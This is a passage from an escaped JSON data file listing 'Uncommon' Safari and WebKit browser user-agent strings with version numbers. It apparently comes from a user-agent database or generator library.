(Windows; U; Windows NT 5.2; en-US) AppleWebKit\\/533.16 (KHTML, like Gecko) Version\\/5.0 Safari\\/533.16\"},{\"commonality\":\"Uncommon\",\"version\":\"3.2\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit\\/534.50.2 (KHTML, like Gecko) Version\\/3.2.3 Safari\\/525.28.3\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit\\/537.75.14 (KHTML, like Gecko) Version\\/7.0.3 Safari\\/7046A194A\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0(iPad; U; CPU OS 3_2 like Mac OS X; en-us)AppleWebKit\\/531.21.10 (KHTML, like Gecko) Version\\/4.0.4Mobile\\/7B334b Safari\\/531.21.10\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit\\/601.1.52 (KHTML, like Gecko) Version\\/9.0 Safari\\/601.1.52\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; zh-cn) AppleWebKit\\/533.21.1 (KHTML, like Gecko) Version\\/5.0.5 Safari\\/533.21.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit\\/535.3 (KHTML, like Gecko) Version\\/5.0.1 Safari\\/535.3\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_3_3 like Mac OS X) AppleWebKit\\/603.3.4 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14G5047a Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Safari\\/602.1.50\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows; chromeframe\\/2.0.0.0) AppleWebKit\\/1.0 (KHTML, like Gecko) Bromium Safari\\/1.0\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_3 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13E5234a Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8C148 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/601.1.50 (KHTML, like Gecko) Version\\/9.0 Safari\\/601.1.50\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/601.5.17 (KHTML, like Gecko) Version\\/9.1 Safari\\/601.5.17\"},{\"commonality\":\"Uncommon\",\"version\":\"6.2\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit\\/600.8.9 (KHTML, like Gecko) Version\\/6.2.8 Safari\\/537.85.17\"},{\"commonality\":\"Uncommon\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit\\/420  (KHTML, like Gecko) Version\\/3.0 Mobile\\/1A543a Safari\\/419.3\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit\\/602.3.12 (KHTML, like Gecko) Version\\/10.0 Safari\\/602.1.31\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/601.2.7 (KHTML, like Gecko) Version\\/8.0.7 Safari\\/600.7.12\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU iPhone OS 9.3.2 like Mac OS X; en_US) AppleWebKit\\/1 (KHTML, like Gecko) Mobile\\/1 Safari\\/1 iPhone\\/1 SellOnEtsy\\/2.38 rv:23800.40.0\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU OS_5 like Mac OS X) AppleWebKit\\/534.46 (KHTML, like Gecko) Version 5.1 Mobile\\/9A334 Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/534.54.16 (KHTML, like Gecko) Version\\/4.0.5 Safari\\/531.22.7\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; pl-pl) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8C148 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"3.1\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 2_0 like Mac OS X; en-us) AppleWebKit\\/525.18.1 (KHTML, like Gecko) Version\\/3.1.1 Mobile\\/5A347 Safari\\/525.20\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit\\/535.3 (KHTML, like Gecko) Version\\/5.1.7 Safari\\/535.3\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; nl-nl) AppleWebKit\\/534.52.7 (KHTML, like Gecko) Fluid\\/0.9.6 Safari\\/534.52.7\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; fr-fr) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8C148 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_11_6 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12B411 Safari\\/600.1.4\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; pt-br) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8C148 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; es-es) AppleWebKit\\/530.19.2 (KHTML, like Gecko) Version\\/4.0.2 Safari\\/530.19\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit\\/601.2.7 (KHTML, like Gecko) Version\\/11.0.1 Safari\\/601.2.7\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit\\/533.20.25 (KHTML, like Gecko) Version\\/7.0.3 Safari\\/7046A194A\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/10.1.2 Mobile\\/10A5376e Safari\\/8536.25\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/600.8.9 (KHTML, like Gecko) WebClip\\/10602.3.12.0.1 Safari\\/10602.3.12.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit\\/602.4.6 (KHTML, like Gecko) Version\\/10.0 Safari\\/602.1.31\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6; en-us) AppleWebKit\\/531.21.8 (KHTML, like Gecko) Version\\/4.0.4 Safari\\/531.21.10 FOH:R017\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; en-gb) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8C148 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"10.2\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit\\/604.1.17 (KHTML, like Gecko) Version\\/10.2 Safari\\/604.1.17\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPhone; iPhone OS 5_0) AppleWebKit\\/535.7 (KHTML, like Gecko) Version\\/5.1 Mobile Safari\\/7354.48\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit\\/534.59.10 (KHTML, like Gecko) Version\\/4.0.3 Safari\\/531.9\"},{\"commonality\":\"Uncommon\",\"version\":\"3.1\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 2_0 like Mac OS X; en-us) AppleWebKit\\/528.4.1 (KHTML, like Gecko) Version\\/3.1.1 Mobile\\/5A347 Safari\\/525.20\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_3_1 like Mac OS X; en-us) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8G4 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 7_0_3 like Mac OS X) AppleWebKit\\/537.51.1 (KHTML, like Gecko) Coast\\/1.1.2.64598 Mobile\\/11B511 Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X) AppleWebKit\\/538.1 (KHTML, like Gecko) Safari\\/538.1\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_9_5) AppleWebKit\\/600.7.12 (KHTML, like Gecko) Version\\/8.0.7 Safari\\/600.7.12\"},{\"commonality\":\"Uncommon\",\"version\":\"1.0\",\"ua\":\"Mozilla\\/5.0 (webOS\\/1.4.5; U; en-US) AppleWebKit\\/532.2 (KHTML, like Gecko) Version\\/1.0 Safari\\/532.2 Pre\\/1.0\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit\\/602.2.14 (KHTML, like Gecko) Version\\/10.0.1 Safari\\/602.2.14\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_2 like Mac OS X) AppleWebKit\\/604.4.7 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15C5110b Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla \\/ 5.0(Macintosh; U; Intel Mac OS X 10_5_5; en - us) AppleWebKit \\/ 525.25(KHTML, like Gecko) Version \\/ 3.2 Safari \\/ 525.25\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows; chromeframe\\/2.4.8.5729) AppleWebKit\\/1.0 (KHTML, like Gecko) Bromium Safari\\/1.0\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.21 (KHTML, like Gecko) PokerGameClient Safari\\/537.21\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; pt-br) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8J2 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_1 like Mac OS X; es_ES) AppleWebKit\\/532.9 (KHTML, like Gecko) Version\\/4.0.5 Mobile\\/8B117 Safari\\/6531.22.7\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6; es-es) AppleWebKit\\/531.9 (KHTML, like Gecko) Version\\/4.0.3 Safari\\/531.9\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3_5 like Mac OS X; fi-fi) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8L1 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit\\/602.1.32 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A5261v Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (X11; OpenBSD amd64) AppleWebKit\\/605.1 (KHTML, like Gecko) Version\\/11.0 Safari\\/605.1 Surf\\/2.0\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit\\/600.1.22 (KHTML, like Gecko) Version\\/8.0 Safari\\/600.1.22\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit\\/604.3.5 (KHTML, like Gecko) Safari\\/601.6.17\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mobile: Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit\\/602.1.38 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A300 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit\\/600.1.4.11.10 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9B206 Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU OS 7.0.4 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) 1Password\\/4.3.2 (like Version\\/11B554a Mobile\\/7.0.4 Safari\\/8536.25)\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9.2.1 like Mac OS X; en_US) AppleWebKit\\/1 (KHTML, like Gecko) Mobile\\/1 Safari\\/1 iPhone\\/1 EtsyInc\\/4.34 rv:43400.94.0\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Superbird\\/28.0.1500.71 Safari\\/537.36\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit\\/604.4.7 (KHTML, like Gecko) Safari\\/522.0\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.75.14 (KHTML, like Gecko) Version\\/10.1.2 Safari\\/537.75.14\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_3_2 like Mac OS X; en-us) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8H7 Safari\\/6533.18.5 bdbrowser\\/6.4.0.4\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU iPad OS 8_0 like Mac OS X) AppleWebKit\\/600.1.3 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12A4345d Safari\\/600.1.4\"},{\"commonality\":\"Uncommon\",\"version\":\"3.2\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X 10_5; en-US) AppleWebKit\\/525.27.1 (KHTML, like Gecko) Version\\/3.2.1 Safari\\/525.27.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_0_3 like Mac OS X) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/10.1 EdgiOS\\/41.1.0.35 Mobile\\/15A432 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 8_1_3 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12B466 Safari\\/600.1.4\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/10.0 Mobile\\/12A366 Safari\\/600.1.4\"},{\"commonality\":\"Uncommon\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit\\/420+ (KHTML, like Gecko) Version\\/3.0 Mobile\\/1A543a Safari\\/419.3 3gpp-gba\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_3_5 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13D15 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/534.34 (KHTML, like Gecko) Safari\\/534.34 PhantomJS\\/2.0.0 (PhantomJsCloud.com\\/2.0.1)\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3_5 like Mac OS X; en) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8L1 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/4.0.2 Mobile\\/8C148 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; ko-kr) AppleWebKit\\/533.19.4 (KHTML, like Gecko) Version\\/5.0.3 Safari\\/533.19.4\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit\\/603.2.4 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13B143 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit\\/(null) (KHTML, like Gecko) Version\\/(null) Mobile\\/(null) Safari\\/(null)\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Safari\\/9.1.3\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_0 like Mac OS X) AppleWebKit\\/601.1.16 (KHTML, like Gecko) Version\\/8.0 Mobile\\/13A171a Safari\\/600.1.4\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; es-es) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8C148 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"3.2\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit\\/534.50.2 (KHTML, like Gecko) Version\\/3.2.1 Safari\\/525.27.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit\\/534.50.2 (KHTML, like Gecko) Version\\/5.0.3 Safari\\/533.19.4\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; de-de) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8C148 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; fr-fr) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8J3 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; fi-fi) AppleWebKit\\/531.9 (KHTML, like Gecko) Version\\/4.0.3 Safari\\/531.9\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ja-jp) AppleWebKit\\/531.22.7 (KHTML, like Gecko) Version\\/4.0.5 Safari\\/531.22.7\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) MxNitro\\/1.0.0.300 Safari\\/537.36\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; cs-CZ) AppleWebKit\\/533.20.25 (KHTML, like Gecko) Version\\/5.0.4 Safari\\/533.20.27\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/538.1 (KHTML, like Gecko) PhantomJS\\/2.1.1 Safari\\/538.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; zh-cn) AppleWebKit\\/531.21.10 (KHTML, like Gecko) Version\\/4.0.4 Mobile\\/7B367 Safari\\/531.21.10\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/534.34 (KHTML, like Gecko) RelIdApp\\/3.1.9 Safari\\/534.34\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit\\/602.3.12 (KHTML, like Gecko) Safari\\/602.3.12\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit\\/601.2.7 (KHTML, like Gecko) Version\\/11.0.1 Safari\\/601.2.7\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit\\/601.2.7 (KHTML, like Gecko) Safari\\/531.9\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/534.54.16 (KHTML, like Gecko) Version\\/5.1.4 Safari\\/534.54.16\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit\\/534.57.7 (KHTML, like Gecko) Version\\/5.1.1 Safari\\/534.51.22\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/603.3.8 (KHTML, like Gecko) Safari\\/522.0\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X) AppleWebKit\\/538.1 (KHTML, like Gecko) fancybrowser Safari\\/538.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9.3\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_3 like Mac OS X) AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/9.3 Mobile\\/9B176 Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/534.34 (KHTML, like Gecko) pythonw Safari\\/534.34\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/538.1 (KHTML, like Gecko) demobrowser\\/0.1 Safari\\/538.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/600.8.9 (KHTML, like Gecko) Safari\\/522.0\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit\\/603.3.8 (KHTML, like Gecko) Version\\/10.1.2 Safari\\/603.3.8\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit\\/533.16 (KHTML, like Gecko) Version\\/5.0 Safari\\/533.16\"},{\"commonality\":\"Uncommon\",\"version\":\"1.0\",\"ua\":\"Mozilla\\/5.0 (webOS\\/1.3; U; en-US) AppleWebKit\\/525.27.1 (KHTML, like Gecko) Version\\/1.0 Safari\\/525.27.1 Desktop\\/1.0\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 7.0.4 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) 1Password\\/4.3.2 (like Version\\/11B554a Mobile\\/7.0.4 Safari\\/8536.25)\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 7_1_1 like Mac OS X) AppleWebKit\\/537.51.2 (KHTML, like Gecko) Version\\/7.0 Mobile\\/11D201 Safari\\/9537.53 MxBrowser\\/4.3.5.2000\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Microsoft Windows NT 6.1.7600.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/5.0.4 Safari\\/537.36\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 7_0_4 like Mac OS X) AppleWebKit\\/537.51.1 (KHTML, like Gecko) Coast\\/2.0.3.70182 Mobile\\/11B554a Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit\\/534.59.10 (KHTML, like Gecko) Version 6.0.2 Safari\\/534.59.10\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X) AppleWebKit\\/534.34 (KHTML, like Gecko) PhantomJS\\/1.9.7 Safari\\/534.34\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9.3.2 like Mac OS X; en_US) AppleWebKit\\/1 (KHTML, like Gecko) Mobile\\/1 Safari\\/1 iPhone\\/1 EtsyInc\\/4.39 rv:43900.60.0\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) adbeat.com\\/policy AppleWebKit\\/603.3.8 (KHTML, like Gecko) Version\\/10.1.2 Safari\\/603.3.8\"},{\"commonality\":\"Uncommon\",\"version\":\"3.1\",\"ua\":\"Mozilla\\/5.0 (Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 2_0_1 like Mac OS X; haw-US) AppleWebKit\\/525.18.1 (KHTML, like Gecko) Version\\/3.1.1 Mobile\\/5G77 Safari\\/525.20\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_3_2 like Mac OS X; en-us) AppleWebKit\\/533.17.9 (KHTML, 